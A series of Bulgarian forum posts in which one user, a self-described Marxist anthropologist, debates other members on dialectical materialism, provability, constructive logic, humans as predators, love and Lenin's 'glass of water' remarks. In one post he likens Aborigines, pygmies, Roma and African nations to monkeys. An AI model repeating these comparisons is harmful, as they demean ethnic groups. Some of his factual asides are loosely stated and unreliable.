172. Благодаря на Ваничка за линка! Аз вече дадох само част от тази книга. Колкото до ВПЕЧАТЛЯВАЩИЯ ПОДХОД, аз, като антрополог, съм открил, че ако човек сам не се впечатли, т.е. да се САМОВПЕЧАТЛИ, по-трудно е да го впчеталяваш. Т.е. вярно си е, че има и случаи, когато с упорити напъни може да се привлече някой (както казва мъдрия български народ - ДА ГО СВАЛИШ!), ама друго си е, ако си е САМОСВАЛЕН субектът. В този смисъл - няма да опитвам, но ти благодаря за вниманието! Личи си, че я харесваш тази жена и това си е!
"Надъхана асистентка" не е лошо за една жена. По-ли добре да е ненадъхана кранистка/трактористка? Умствен и физически труд са си равноценни. А надъхването, хъса за работа са похвални!
"Защо сте толкова „стресиран” от тази каузалност?"
Това и на мен ми прави впчеталение. Не го знам дали е стресиран, но, много емоционално приема нещата, а трябва да го кара малко по-леко, по-експериментаторски и по-смело. Иначе едно такова отбягващо поведение колкото помага, толкова е и неградивно в научно-философските търсения, постигания, сътворявания.
"и не търсим и не се тормозим с открития."
Анджък, анджък! Ето и аз това мисля/усещещам!... Трябва по-всеотдайно, смело, дръзновено да се действа. Защото знанието е доста незадоволително като потребности днес. Ами ние още не можем един рак да излекуваме качествено...
"Интересно е това с ........ релацията непротиворечиво и доказуемо. Хъм. Сигурно проблема е, че доста непротиворечиви твърдения са НЕдоказуеми, по-гадния въпрос е: защо така?"
Аз знам защо. Не си ме питала, не си разбрала! Според Марксизма-Ленинизма, това се дължи на недостатъчното развитие на научно-техническата база. По-просто казано - като сме тъпи, няма да можем да докажем, ама като напреднем, ще може и това да стане. Цялата история на науката го показва. Хората какви ли не неща доказаха напоследък. Примерно, дето ви бях казал за хипопотамите, че са роднини на свинете, да, потвърди се, ама се и оказа, че са още по-близки роднини на китовете. Т.е. китовете произлизат, май, от един древен хипопотам или поне имат общ предтеча с хипопотамите.
Отделно, аз това сам го бях открил чисто морфологически като им сравнявах скелетите, външния вид, а и позовавайки се на серологични изследвания, но вече и ГЕНЕТИЧЕСКο се доказа, че кокошките имат доста силна връзка с тиранозавър Рекс. Генетически един тиранозавър е по-близък до петел или щраус, отколкото до крокодил (не знам кой "идиот" из известните биолози си е мислел, че крокодилите са по-близки роднини на тиранозаврите!)...
"Така че, аз продължавам да съм фен на МакКинси."
Защото още не си дочела Енгелс. ;)
"OOOOk! За необходимо истинните (на които явно необходимост-та е ДОСТАТЪЧНА, за да са абсолютни) твърдения. Много е сладко, това уточнение след „истинността им не е относителна..”, защото (просто) са истинни „винаги и навсякъде”- thank you of all my heart!"
Ето тука пак имаме връзка с Теорията на познанието... Абе Ленин си е бил ум голям!... А и той казва, че Абсолютната истина е нещо, към което се върви постоянно, при сбора на относителните истини...
(Следва)
-
173. Е, болдването и пр. си е за подчертаване на смисли, които ми се струват важни. Болдвам спрямо всеки, не е било лично. Неразрешимите истинни пропозиции, ако не са парадокси (а само свързани с парадоксите), тогава към какво ги причислявате - апории, антиномии или просто нещо трето? Иска ми се да са ми субординирани и подредени нещата, та питам. Ако може поне една дефиницийка?
"тук пък не виждам какво ново той добавя към Хегел, ама айде, от мен да мине"
Към Хегел се добавя по принцип материализъм и доста наука, както и се отнемат някои конюнктурни негови твърдения като тези колко най-велика е Прусия, колко китайците не могат да правят философия и пр. Т.е. Хегел е само една част от Диалмата - останалото са също немски "неща" - Фойербах; английски неща - Д. Рикардо, А. Смит; френски неща (утопичен социализъм) и пр. По-подробно в:
"ТРИ ИЗТОЧНИКА И ТРИ СЪСТАВНИ ЧАСТИ НА МАРКСИЗМА." (В. И. Ленин, 1913 г.)
"Честно казано, не съм видял досега някаква полза от диамата във философията на математиката, но пък може и да съм "проспал" нещо, де да знам."
Ами нали затова сме тука в това комунистическо нещо - Интернета (където, често, за всеки има според потребностите и от всеки има според възможностите), за да си помагаме. Аз каквото не знам - веднага (те) питам, ти като не знаеш - също питаш и работата върви добре. :) Съвсем случайно мога да отговоря на този въпрос - има доста силни математически логици, представители на Диалмата. Пример давам с Андрей Марков, който създава КОНСТРУКТИВНАТА МАТЕМАТИЧЕСКА ЛОГИКА (или школата на Конструктивната математика и логика). Разни неща като това за Възможните светове са проиграни отдавна в тази школа. Ето нещо интересно от нея:
(Няма да се стряскаш, ще го болдна за по-нагледно.)
"Конструктивните обекти сами по себе си не съществуват вечно. Те се раждат в резултат на конструктивни процеси, след което изчезват. Примерно като напишеш нещо на бялата дъска с маркера, то ще си стои там докато някой не го изтрие. Същото е и с информацията в компютъра - рано или късно може да се форматира дискът. Ето защо в КОНСТРУКТИВНАТА МАТ. ЛОГИКА откриват, че съществуването на конструктивните обекти е на ниво ПОТЕНЦИАЛНА ОСЪЩЕСТВИМОСТ, т.е. наличие на разположение на метод, който позволява да възпроизвеждаме тези обекти, когато и колкото пъти ни се наложи! (Ех, ако ставаше така и със сиренето, а?!!! :):):) Това е идеалът за научност на вуйчо ми - машина, която да прави храна "от въздух"!...)
Такова разбиране рязко се различава от разбирането за СЪЩЕСТВУВАНЕ НА ОБЕКТ, прието в теоретико-множествената математика. В теорията на множествата фактът за постоянно раждане и изчезване на конструктивните обекти не намира никакво изражение - от нейна гледна точка, подвижните реални обекти се явяват само като "сенки" на вечно съществуващите в някакъв фантастичен свят статични "идеални обекти" (и само тези "идеални обекти" следва да се разглеждат в математиките).
Разбирането за съществуването на обекта като ПОТЕНЦИАЛНА ОСЪЩЕСТВИМОСТ довежда до това, че логическите закони, действащи в конструктивната математика, се оказват различни от класическите - примерно закона за изключеното трето си губи универсалността."
"Това за Сагатовский, дето казал, че "някои аксиоми не са доказуеми в рамките на тяхната си теория" си е типичен пример за това, защо съм скептичен към диаматската философия на математиката - всяка аксиома е доказуема в рамките на собствената си теория и има тривиално доказателство с дължина единица, защото по дефиниция, всяка аксиома съвпада със собственото си доказателство (иначе казано, приема се за доказуема без доказателство)."
Хайде тука няма да ползвам болд, а ИТАЛИК :
Приятелю млад, той точно това и казва. Значи в първата си книга "Вселената на философа" представя разговор между СКЕПТИК и ФИЛОСОФ (Скептикът е материалист-физик, а философът си е философ-диал. материалист). И там скептикът прави забележка, че "АКСИОМИТЕ НЕ СЕ ДОКАЗВАТ!", на което философът ПОЯСНЯВА, че те не се доказват в рамките на собствената си теория (това, което и ти казваш), но подлежи на доказване ОТВЪН. И това е много добре, бих казал, защото иначе това САМОДОКАЗВАНЕ си е "УРОБОРОС".
Мерси за примерите! Аз не мога да докажа тези неща, понеже най-малкото не им разбирам уравненията, но попрегледах успехите постигнати през последните години и се оказва, че компютрите голяма роля изиграли в процеса. Затова и продължавам да твърдя, че колкото по-се развиват науката и техниката, толкова повече доказателствената мощ ще нараства.
174. /Относно "Философия на природата"/: Как дефинирате вие там неприродното? В моето съзнание има само природно и изкуствено (или както се нарича в Диалектическия материализъм ВТОРА ПРοРОДА, т.е. сътворено от човека). Ако може една кратка дефиницийка на разбирането ви за "неприродно", както и ще се радвам за примери на неприродни неща. Мерси!
175. "Това става със съобразяване."
Вземе ли философ във философията да се съобразява - отпиши го като сериозен философ. Философията я има там, където има свобода. Колкото повече ти налагат/самоналагаш да се съобразяваш с настроения, желания и пр. на някой (говоря принципно, не за "фронта на приятелите" самоиницииран от Ванчето току-що), толкова повече се превръщаш в пиончест или осакатен философ.
"Но все пак има основни положения, които не са трудни да си ги отбележиш и да се опиташ да ги синхронизираш с тези на останалите."
Тука е психологическата уловка - "останалите" се вземат като МАСА и се насочват срещу един. Може ли да докажаеш, че Хераклит е също толкова "останал", колкото модератора или пък, че Турлаков е толкова останал, колкото тебе? Не слагай под общ знаменател всички, защото не е коректно от гносеологическа гл. точица. И искам да знам с кой точно трябва да се синхронизирам? Защото всички от "останалите" са достатъчно несинхронизирани помежду си. И слава Богу, иначе щяхме да сме като една армия, а не като философи.
"с изключение на случаите като си прекалено натурален, но все пак съм момиче и ..."
Ха-ха. Точно със същата предпоставка много жени са ми казвали, че им е интересно натуралното, щото нали са жени, а не мъже и било нормално... Въпрос на ценности и убеждения.
"но с твоите си мисли с твоите си думи, т.е. не цитати от известни революционери и материалисти."
Е, да. Ако Ники цитира Хайдегер, "Фреге" цитира Фреге, а Хераклит цитира Ницше - проблеми няма. Нооооо, ако Курултаев цитира материалисти - лошо. Това да не е нещо стил "Иван Костов" или "Синята идея"? Дай по-малко идеологически да го караме! Няма значение дали някой е или не е революционер. Важното е дали има стойност изказването му. А и нали си чувала за Теорията за плодовото дърво? ОТНАЧАЛО ИМ Е ЛЕСНО НА ФИЛОСОФИТЕ, УЧЕНИТЕ - откриват, изобретяват неща, които всеки средно-интелигентен с повече свободно време БИ МОГЪЛ/МОГЛА да изобрети, открие... И после иде трудното. Т.е. аз със собствени думи и мисли мога да преоткрия доста неща, вкл. и колко прави 2 и 2, но защо да се излагаме при положение, че НЯМА ДА СМЕ ОРИГИНАЛНИ (Н. Турлаков), а ще преповтаряме открити неща. То това прилича на плагиатство. А аз съм коректен. Отказах се да пиша статия против СПЕЦИЕЦИЗМА, просто защото видях, че един английски свещеник ВЕЧЕ Е КАЗАЛ това, което аз мисля по въпроса. И това е въпрос на философска съвест, на гражданска отговорност.
"Каквото са имали да казват са го казали, който ги е чел и му е интересно да си ги чете, да почиват в мир, а последователите им да са останали удовлетворени от това, което са научили и разбрали, но чак такова преклонение... досадно е."
Ами на мене да не мислиш, че не ми е досадно, да речем, от Хайдегер или от Ницше? Досадно ми е, ама не роптая. Досадата е субективно нещо. Примерно за тебе е досадно, ама за Велко Вълканов, примерно, ще е интересно, ако се говори за Ленин или, примерно, за Дешан (бас ловим, че и този ти е непознат и, съответно, досаден!)... Така че възразявам срещу такова отношение. Никак не е философско. Най-малкото привеждам хората в КОНТЕКСТА НА ТЕМАТА, както да речем логико-математика Марков. И така се обменят знания, в което няма нищо лошо, престъпно или нарушаващо правилата на форума. Да не говорим, че от икономическа гледна точка това е по-добре, защото привлича повече посетители (по ключовите думи в търсачката. Ето, примерно, като писах ДЕШАН, това ще се отчете от т . нар. паяци на Гугъла и после който търси за Дешан вероятно ще попадне и тук. А това е добре за сайта! /Добавям, че това важи за думи, които не са с голяма конкуренция - например, ако думата е не много конкурентна и има само 2-3 сайта с нея, то като я вкараш в своя си сайт съдържателно, ще попадат хората на него, търсейки я, защото ще си на първа страница, заедно с въпросните 2-3 сайта. Ако, обаче думата е много с много голяма конкуренция и сайтът ти се класира някъде назад в резултатите - например на 9-та страница или на 12-та, то тогава това почти няма значение, защото много малък процент от хората ще посетят точно 9-та или точно 12-та страница, а и да изберат от там точно твоя сайт./)
"Ленин, Маркс, Енгелс, не са ОТКРИЛИ нищо кой знае колко интересно."
Това може да го каже някой много предубеден и/или много нечел. Да не говорим, че интересното е друга много субективна категория и не отива на философ. Примерно за някой интересното е как става соевото сирене (тофу), а за друг как Маркс е открил източника на капитала (принадената стойност).
Така че, за разлика от децата до 2-3 годишна възраст, които често смятат, че когато на тях им е тъжно/топло/скучно, то и на останалите е така, зрелият индивид изисква да прави ясно-и-решително разграничение между СУБЕКТИВНИ ИЗЖИВЯВАНИЯ, ВКУСОВЕ, НАСТРОЕНИЯ... и тези на останалите. За да е по-сигурно, че ще бъда разбран давам прост пример - Ако на мен ми е интересен Виетнам, не следва, че на някой му е по-интересна Гърция! /Може да му е по-интересна, може и да не му е по-интересна от Виетнам. Това няма връзка с моя интерес./...
"Дори това което са написали е основано, голяма част на нацистите и феодалите."
Ако аз направя такава груба грешка, ще се самобичувам като Тартюф ;)... Маркс, Енгелс и Ленин живеят преди появата на нацизма. Колкото до ОСНОВАНОТО - вече споделих на какво се основава, според "Три източника и три съставни части..." А и не е важно на кого си се основал, а какво си постигнал. Неслучайно Нютон е казал: "Аз можех да погледна толкоз надалеч, само защото бях стъпил на раменете на титани." НЯМА ФИЛОСОФ, особено пък от съвременниците на тези тримата, дето да не е бил ОСНОВАН на някой. Самоуки философи като Якоб Бьоме се броят на пръсти.
"причинността може и да е добре обяснена в ДМ, но на нас не ни е интересно как е обяснена там. На нас ни е интересно ние да си я обясним, с нашите си "ограничени" знания"
Ами защо тогава всеки ми цитира някакви западни имена? И защо правиш забележка само на мене? (Риторичен въпрос.)
И в заключение, макар и да е първи април, нещо сериозно :
През 1993/1994 един асистент, на който не си спомням вече името ни запита на упражнение по "Въведение във философията":
- ЕЗИКЪТ, КОЙТО ГОВОРЯ, МОЙ ЛИ Е ИЛИ НЕ Е МОЙ?
Въпреки привидната тъпота на въпроса, той постави измеренията на един по-общ:
- Ваня, това което ти имаш за СОБСТВЕНА ГЛЕДНА ТОЧКА, НЕЦИТИРАЩА, доколко е ТВОЕ-ЛИЧНО и доколко е ПРЕПОВТАРЯНЕ на авторитети (независимо дали си даваш или не сметка за това)?
Това стана офтопик, но е провокиран от личната бележка на Ванчето до мене.
(СЛЕДВА)
-
176. Ами не всички животни са хищници. Т.е. може да си животно (примерно сърничка), което да не е хищник, а може и да си хем животно, хем хищник (като да речем - лъвица)...
Нищо не се иска да докажем. То са си го доказали хората, аз само го констатирам.
Казваш, че имаш желание да се разграничаваш от лъвовете, тигрите. Ами не си само ти - доста други животни също имат такова желание, особено, ако биват хапвани от тях. Иначе личните желания за разграничаване нищо не говорят за същността на човека. Примерно аз познавах една, която казваше, че я е срам, че е човек и почти си вярваше, че не може да е човек, защото била толкова по-различна от целия си клас в гимназията!
Разумът, говорът и общуването си ги има в количествено по-ниска степен при повечето животни. Примерно маймуни се учат от по-големите си родители и роднини (т.е. условни рефлекси, а не безусловни) как да трошат орехи с камък. А това е предаване на СОЦИАЛЕН ОПИТ.
Това, че човекът е "по-култивиран" хищник, не значи, че не е БИОЛОГИЧЕСКИ хищник. Примерно то и една котка може да се култивира като нещо различно - има котки, които са научени да ядат само хляб и растения (в Китай пък гледах как зайчета ядат ориз, но това е отделна тема).
Колкото до това, че жените не можели да се бият и самозащитават - не е вярно. Даже и да е някоя, която си няма хал-хабер от човешки системи за бой, то (ако не се уплаши много) генетично много бързо почва да си проявява заложената агресивност и самоотбрана с типично хищнически пройоми (драскане с нокти, хапане със зъби) и пр. Тази агресивност се засилва още повече у майки на малки деца, които даже може да се самопожертват в случай на агресия срещу децата им. А в това няма нищо по-различно от поведението на квачка, която си пази пилетата.
По въпроса за телеологията ("Защо сме тук?"), аз съм на мнение, че може и да няма никакво "защо". Та само може да се пита КАК, а не ЗАЩО сме?...Тоест случайно сме.
А по въпроса за фелицитологията /и, в зависимост от смисъла, въпрос на етиката/ - "Как да се изживее най-добре?" - въпрос на избор и разбиране. /Като това не означава, че някои избори и разбирания са погрешни - вместо към най-добре, водят до зле, по-зле или най-зле./
177. Хи-хи! Много добро решение :) И вълкът сит, и агнето цяло! :):):):):):) Мерси за находчивостта! Рядко се случва из други форуми! Cheers! :) /Относно отделянето на една тема с лични/конкретни мнения и лични/конкрети отговори. Вместо да се трие поголовно е добре да се отдеелят ценните неща./
178. Олеле, Ванчето не само, че ме кара да пиша, че ако направя гаф за нацизма и Маркс-Енгелс-Ленин, ще се САМОБИЧУВАМ като ТАРТЮФ, но и се оказва, че хем не гледа, че съм писал "самобичувам", а не "самоубивам", хем май и "Тартюф" не е чело. И после аз съм изривявал?! Аааааа, ще ти теглим ушите, ей!...
"(моето уточнение е дали ще разглеждаме «хищност»-та като природа или като характеристика отнесена към животните конкретно, за да ги сравняваме после в отношение: хищни животни и хищни хора, или просто си говорим за хищниците)."
ХИЩНИ ЖИВОТНИ е имало преди да има и помен от човек, така че това си е предимно животински атрибут. А и хората са си животни, което още повече доказва, че хищното си е природно (имаме и хищни растения, също така, да не се забравя!) "Така, че тук показваш нетолерантност, че бих могла да различавам видове животни. Като сърнички и лъвици. Така че би могъл, понякога да не си губиш времето да обясняваш или уточняваш вече всеизвестни неща, освен естествено от това, ако не следва някакво оригинално твое заключение."
Душа, като напиша някоя нова тема и само за ден поне 10 човека я преглеждат. Извън всякакво съмнение е, че не пиша само за тебе и си давам ясната сметка, че може да ме четат и по-млади хора, та пиша като за ниво "Отличник на Средното училище", което не е зле като ниво.
"Щом нищо не се иска да докажем, това което пишеш е всеизвестно поне на 1 мил. (алых роз) и ти просто ни информираш с нещо вече известно."
Аз лично съм го чувал само от един американски видео-блогър, който се позова на кучешките зъби. После ми попадна и тази класификация, та компилирах двете неща. Права си - общо взето може да се каже, че е известно вече, а аз заставам експлицитно зад него.
"Ако случайно не сме обърнали внимание или случайно сме забравили, та може да станем непредпазливи за хищниците наоколо, които дебнат...."
Това е вярно.
"ей това искам да ми посочиш къде ТОЧНО го казвам и си личи, че го казвам и го мисля? Казвам точно обратното, че МНООООООГО ИСКААААААААААМ ДАААА СЪЪЪЪЪЪЪМ КАТО ТЯХ......... НО НЕ съм!"
Ами саморазграничаваш се със следното: "Значи има нещо, което ме различава..."
"Изведнъж все пак правиш разграничение и говориш за личните ми (човешки) желания- хъм- интересно, ще излезе, че не съм животно бе. Ама как така?"
Животинка си, колкото и да не ти се иска, както и аз съм...
"Мамунките могат орехи да ми начупят, мечката мед да ми донесе- хъм, нещо не е както трябва. Да не си се объркал?"
Хехе, даже мравките експлоатират листни въшки...Защо и Ваня да не стане "експлоататор" на бозайници, като себе си. Хората сме не само хищници, но и бозайници... Лошото е, че малко си го признават...
"“По-ниска” не е все пак степента, която е развита при човешките същества."
Никой не отрича, че хората са най-развити. Но от това не престават да са животни.
"Това с маймуните дори е плашещо, защото както възприемат това с “трошенето на орех”, така един ден могат да се научат да строшат главата на някой"
Нищо подобно. Точно толкова са плащещи колкото някоя африканска нация (дори и по-малко, заради по-ниското им ниво) - много лесно могат да се контролират от Великите сили, т.е. от тези, които решават и до днес съдбата на Света. /Повечето места в Африка са били обект на колониализъм./
"Социалния опит на маймуната и социалния опит на човекът позволи ми да ги разгранича."
Разграничават се количествено основно. Няма почти никакви качествени отлики. Даже като сложиш до маймуните някои аборигени, пигмеи и пр. (а ти няма да тръгнеш да отричаш, че и те са хора), ще видиш че разликите са много минимални. /Говорим за философските разлики на ниво "количество" и "качество"./
"Ако взема една маймуна и й покажа как да отиде в парламента да вземе думата и да убеди депутатите как да гласуват...... няма да се справи."
С това няма да се справи и някой циганин или пигмей без завършено основно образование. /Както и всеки от друга народност, разбира се. Просто давам примери./ Слаб аргумент.
"Когато гледаш филм- възприятията ти са по-изострени и по-адекватни, защото те приближават до реалността, и не се налага да “мъчиш” въображението (като при четенето на книга) със създаване на образи и абстракции."
Зависи от филмите. /А и от книгите. При илюстрираните книги, например комиксите, нещата са почти същите./
"За котките и зайците хищници е така, защото аз пък имах един приятел, който хранеше заека си с месо (сурово) и нема ти казвам къв звяр стана."
А ето това е НОВИНА! Ето затова аз общувам с всеки, защото никога не е късно да се научи нещо. Мерси много! Сега вече ще знам, че и тревопасни стават месоядни, не само обратното!!! Ммммм, много хубав пример! /В днешно време онлайн има и други случаи на зайци прояли месо./
"Въобще не съм споменавала, че жените НЕ могат да се бият и защитават, напротив, най ме е страх от жени-хищници."
Ама те всичките са хищници :) Ти сигурно визираш тези от тях с по-холеричен темперамент. Нещо като кучетата (хайде да е кучките, че си говорим за женски) - някои кучки са весели и размахват опашчици (сангвинички), някои са мудни и бавни (флегматички), някои са плашливи и тъжни (меланхолички), а някои им е крив света и нападат, ръфат, лаят (холерички). Ама всичките са си хищници. Остави ги малко гладни и им дай зайче и гледай "кръв и зрелища"...
"даде й броня УСТОЙЧИВА НА ОТРОВА (киселина) от пришълеца, и когато той изплюе отровата за известно време остава без, докато стане следващата доза, и тоооооогава мацката го пронизва..... в окото примерно.!"
Тц-тц-тц, каква история само! Ами че то това по-просто и от парадокса на Безкрайно многото маймуни, които рано или късно, ако им дадеш машинописни машини щели да напишат ДОСЛОВНО тест от Шекспир...
"Тук направо отвори нова тема и мое си цъкаме дооооооо края на света! Аз пък искам да си лафя за «защо-то» , ти си знай за «как» и всеки с неговите си отговори да се оправя как може."
АЗ в качеството си на обикновен човек също си харесвам разни такива теории като Лазаревизма /вече не, защото видях, че няма научни доказателства за това и реших, че няма смисъл от предоверяване/, 'ма в КАЧЕСТВОТО СИ НА ФИЛОСОФ никога няма да застана на такава позиция - недоказана с нищо научно.
"И не е толкова случайно. Ако в началото на една бременност жена получи обилен кръвоизлив, всички доктори не дават никакви шансове за плода, защото нямат обяснение какво се случва. Но в един момент се роди живо и здраво дете, е, и докторите си признаха, че е чудо. (личен опит, след който много искам и вярвам, че има ЗАЩО! Това точно дете да е родено!)"
А, докторите... особено на съвременното ниво на развитие на науката... Душа, как да ти обясня - това, че хората са леки дебили, не значи, че има чудеса. /Някои от хората. А и да не говорим, че в случая "чудо" може да е употребено от въпросните доктори в съвсем нерелигиозен смисъл, а като синоним на "голяма рядкост"/. Харесва ми примера на един индийски религиозен мислител, който казва - "Ако аз вдигна маса, която тежи 30 кила за едно дете на 2 годинки това може и да е ЧУДО, ама не е.
"Ами зависи, и избора и разбирането са толкова субективни, и толкова непостоянни, че по бих отишла на гледачка да ми каже някоя глупост, отколкото да изслушам живота на някой и да си извадя изводите и осмисля разбирането."
Не оспорвам. А гледачките, според някои китайски философи са "феодални отживелици". И ми харесва такова едно определение, донякъде. /И още - мисля, че самото гледачество/ясновидство/предсказателство е невъзможно и няма нито един, който да го направи доказано./
"И така.... за мен беше удоволствие. Ми, да, някак ми е ведро дори. Бях започнала да се притеснявам, че в темата за «каузалност» ще изляза за нещо права, и арееее пак да се оправдавам, че сестра ми, която я нямам не е виновна, само братчедката, но тя беше за малко и пияна като ги писа разни."
Алкохолът действа на всички, това е вярно...
179. "1. Как знаем ЧЕ/ДА обичаме?"
Обичането е ГЛАВНО (но не само) ЕМОЦИЯ/ЧУВСТВО. А емоциите ПОНЯКОГА до ЧЕСТО не се осъзнават. Тоест може някой да обича, а да не знае. Отделно може да си мисли, че обича, а да не изпитва точно обич... Това е по темата "ЧЕ ОБИЧАМЕ".
Относно "ДА ОБИЧАМЕ" - това вече си е въпрос на култура, субкултура и лични убеждения; на възпитание и САМОВЪЗПИТАНИЕ. Т.е. едно и също ЕМОЦИОНАЛНО СЪСТОЯНИЕ като обичането може да се изразява по абсолютно различно, ако не и противоречиви начини. Да речем за някой може да е напълно добър подход да те обича посредством подаръци, мили думи и пр. За друг -посредством агресия... Хайде и аз да дам пример с... Туркменски филм, който съвсем съм убеден, че никой не е гледал. Става дума за един хитрец Алдар (Средно-Азиатския Хитър Петър), който спаси една девойка от една "мутра". Значи докато на девойката любимият й овчар гледаше да танцува с нея и да я превъзнася, то мутрата просто реши, че е добре да я отвлече, да я забули и да я впечетли с това колко е богат; да плаща на всеки за всичко, колко може да яде и колко е силен на борба... И двамата я обичаха, но си имаха различни подходи, според възпитанието и разбиранията си.
"2. Това знание Неезиково ли е?"
Смесено е. Както и всяко друго знание. Някои неща са езикови/вербални, други не са. Т.е. знанието е възможно и БЕЗ ЕЗИК, но не е винаги НЕ-езиково (не-вербално).
Ами... „поради силата на чувствата”, предлагам да избегнем „знам че знам”. Щото и без това какво като знаем, че знаем? /Знанието, по принцип, си е осъзнато; самоочевидно е, че знаем или не знаем нещо./
"рефлексите, ти обещавам, купувам ти едно кученце и ти го пращам в Китай, честно, само гледай! (а пък ако и НЕ споменеш Ленин, обещавам и някакъв бонус допълнително- например :къщичка за кученцето."
Аз както "обичам" кученца и съм все на тръни заради кучешката тения, определено ще се стимулирам така и ще кажа какво е казал Ленин за половата любов пък: "Тя не е като изпиването на една чаша вода!"
(Следва...)
-
179. Ами не е, ама човекът го постави, а аз му отговарям и допълвам. На геоидът не му е да се движи, но ГО ДВИЖАТ. Собствените му, Слънчевите, Лунните и др. гравитационни сили. Колкото до това, че движи се-не движи се, процесите не спират, на него хич не му "прави впечатление". Даже му е все едно какво се и какво не се движи по него (че и вътре в него), просто защото той няма съзнание, да не говорим за самосъзнание.
Защо сме тук - защото са най-благоприятни условията за появата и развитието на въглеродния живот. Колкото до Юпитер и пръстена му, предполагам, че по-интересно е на Сатурн, че са много. Но не са нищо особено - състоят се главно от "камъняк". Затова, ако човек реши да кара колело там - не става, както учихме в училище едно време.
180. Ей, малкото и сладкото дете как се увлича само от по-пикантните нещица в Ленинизма! Същинска Александра Колонтай (за нея ще узнаеш по-долу!). Че чак и живо настоява, детето, да го запозная с теорията за "чашата вода". Добре, че не споменах за любовницата-прислужничка на Маркс и извънбрачното му дете ;) или как викал на зет си: "Ще ти дам една революция и Марксизъм! Първо вземи диплома и си оправи семейството, после прави революции!!!" :) А сега, сериозно, радвам се за проявения интерес и ще разкажа с удоволствие (ако не аз, кой друг?): В началото на Съветската власт сред младежите се появява ПЪРВАТА В ЗАПАДНИЯ СВЯТ ТЕОРИЯ ЗА СЕКСУАЛНАТА РЕВОЛЮЦИЯ, наречена "ЧАША ВОДА" или "БЕЗКРИЛИЯ ЕРОС". Според нея любовта може и е удобно да се сведе до секс, който трябва да си става бързо, и без всякакви условности, по същия начин, по който като си жаден - пиеш вода. Ленин обаче страхотно се нервира от подобна теория, възмущава се и почва да я громи. За нея казва - "Това е толкова немарксистко, че чак противообществено!" + "Разбира се, че като си жаден трябва да пиеш. Но нима нормален човек, при нормални условия, лежи на улицата и пие от локвите? Или дори от чаша, от която пият десетки устни?" Ето и друг цитат от него, където и точно се упоменава чашата с водата: "Вие, разбира се, знаете знаменитата теория за това, че в комунистическото общество да си удовлетвориш половите стремежи и любовната потребност е толкова просто, и незначително като да изпиеш чаша вода. От тази теория за "Чашата вода", нашата младеж изкрейзи, направо изкрейзи (ориг. дума: "взбесилась"). Тази теория стана лоша съдба за много младежи и девойки. Привържениците й твърдят, че е марксистка. Благодаря много, но няма нужда от такъв марксизъм." Луначарски - друг известен философ също критикува това с думите, които определят идеала му за любовта: "Сериозна, дълбоко-сдържана, мислеща, красива любов трябва да имаме, заменяйки разврата на буржуазията и "нихилистическата" гледна точка за "голата" полова любов."
______
Бележка под линия ;)
Разбира се, че е грубо човек да връща кученце. А и не е "хуманно" спрямо животното да бие над 20 часа път из самолети. И въобще няма да те лъжа, от сега ти казвам - издирвам най-близкия Гуандунски (пров. Гуандун, главен град - Гуанджоу) или специализиран Корейски ресторант, където Canis familiaris ще бъде обработено, обезкостено и изядено от почитателите на 狗肉 (гоу жоу) - кучешко месо. И вече дали ще бъде на супичка, на шишчета или под друга кулинарна форма - не знам. И на някои други места има ресторанти за гоу жоу (кучешко месо), но не е много разпространено. А и аз се шегувам. Ако имам кученце, бих го дал на зоомагазин, да го купи някой, който иска да го отглежда. Ако ми пратиш котенце, обаче, става доста по-трудно, защото 猫肉 (мао жоу, т. е. котешко месо) се яде чак в съседната провинция, докъдето трябва да пътувам 12 часа с кораб, или 2 със самолет. Кулинарно ИЗКУСТВО, ех... /Същото важи и за това - бих дал в зоомагазин. Не съм веган, но не обичам да гледам и да съм съпричастен към коленето на животни./ А то кулинарията не е като да изпиеш една чаша вода (по Ленин)... Всъщност, носят се слухове, че тази теория е измислена от една ЖЕНА (Александра Колонтай), съветска авторка, която по-късно бива изключена от Партията и творчеството й се обявява за порнографско.
181. Разбирам определенията и благодаря за обясненията! Моята позиция е: Слънцето, звездите, кометите - КОСМОСЪТ - също са/е природа. А това, че примерно на повечето планети преобладава НЕЖИВАТА природа, не значи, че не са природни /досега даже няма нито една друга планета, освен Земята, с доказана друга природа, освен неживата/. Относно спътниците - единственият естествен/природен спътник е Луната (Месечината), останалите са изкуствени. Човекът е част от природата.
182. Юпитер и той си има пръстен /даже не един, а няколко - пръстените на Юпитер: https://bg.wikipedia.org/wiki/Пръстени_на_Юпитер (https://bg.wikipedia.org/wiki/Пръстени_на_Юпитер)/, не е много груба грешката. Безспорно влияе на хората и на живота. Самата Луна им влияе също. /Говоря за физическото, природно влияене, както и отражението в културата, а не за псевдонауки като астрологията!/ Въпросът е, че самото движение на Земята не прави време само по себе си.
(Следва)
-
183. "Признавам недоглеждането, но не и обвинението, че съм направила аналогията- Тартюф-самоубийство, а от там и твоето неправилно заключение, че не съм чела Тартюф"
Е, ами така ще кажеш ти... А аз пък ще взема да кажа, че ти вярвам, защото и да повярвам, и да не повярвам - все тая. :):):)
"И наказания сега.... «дърпане на уши», там в Китай това ли е най-разпространено."
Нямам опит, не са ме наказвали. Само са ме предавали възрастни момичета, както знаеш. :) А това не е наказание. КАТО ФИЛОСОФИ ЩЕ СИ ПОСЛУЖА С ЕДИН "БРЪСНАЧ", АМА НЕ НА ОКАМ "Никога не приписвай злонамереност на нещо, което може да се обясни просто с глупост."...
Казват му "Бръснача на Хенлън" (или "Бръснача на Ханлън" -- Hanlon's Razor на английски).
"Има едно детско казва се «Пауър Рейнджърс» много популярно и модерно в момента, т.е. гледаемо."
Че то това е от встъпването в пубертета на дядо ми, бе! ПАК ли го дават?! Понякога имам чувството, че някои телевизии живеят в традиционна цикличност. Шегичка, разбира се. По времето на дядовия ми пубертет не е имало такива неща.
"«ей, брато, яко, значи ще можеш да слушаш музика в главата си направо, без периферни устройства....- хе-хе."
Това отвежда към идеята за изкуствения интелект, въглеродния шовинизъм и какво ли не...
"Направи го антропологически де, нали си антрополог. "
Антропологията изхожда именно от природните науки, които нямат съмнение в принадлежността на човека към Животинското царство.
"Или, обясни ми тогава преди появата на Хищните животни какво е имало всъщност(като подобна форма на живот например) и как точно са се «появили»-(появило)- първото(вите) хищно/и животно/и? А? Виж къв як въпрос измъдрих, а толкова ме мързи, представи си в нормално състояние...газим, просто, не е истина."
Още от праисторически времена, когато са се зародили първите същества, хранещи се с други живи същества може да се говори за хищничество в някакъв смисъл, макар че има известни проблеми от рода на това, че ако растение яде животно, то е хищник, ама, ако коза яде растения, тя не е хищник...Т.е. хищничеството се центрира като понятия около УНИЩОЖАВАНЕ НА ЖИВОТНИ ЗА ХРАНА, а не на растения.
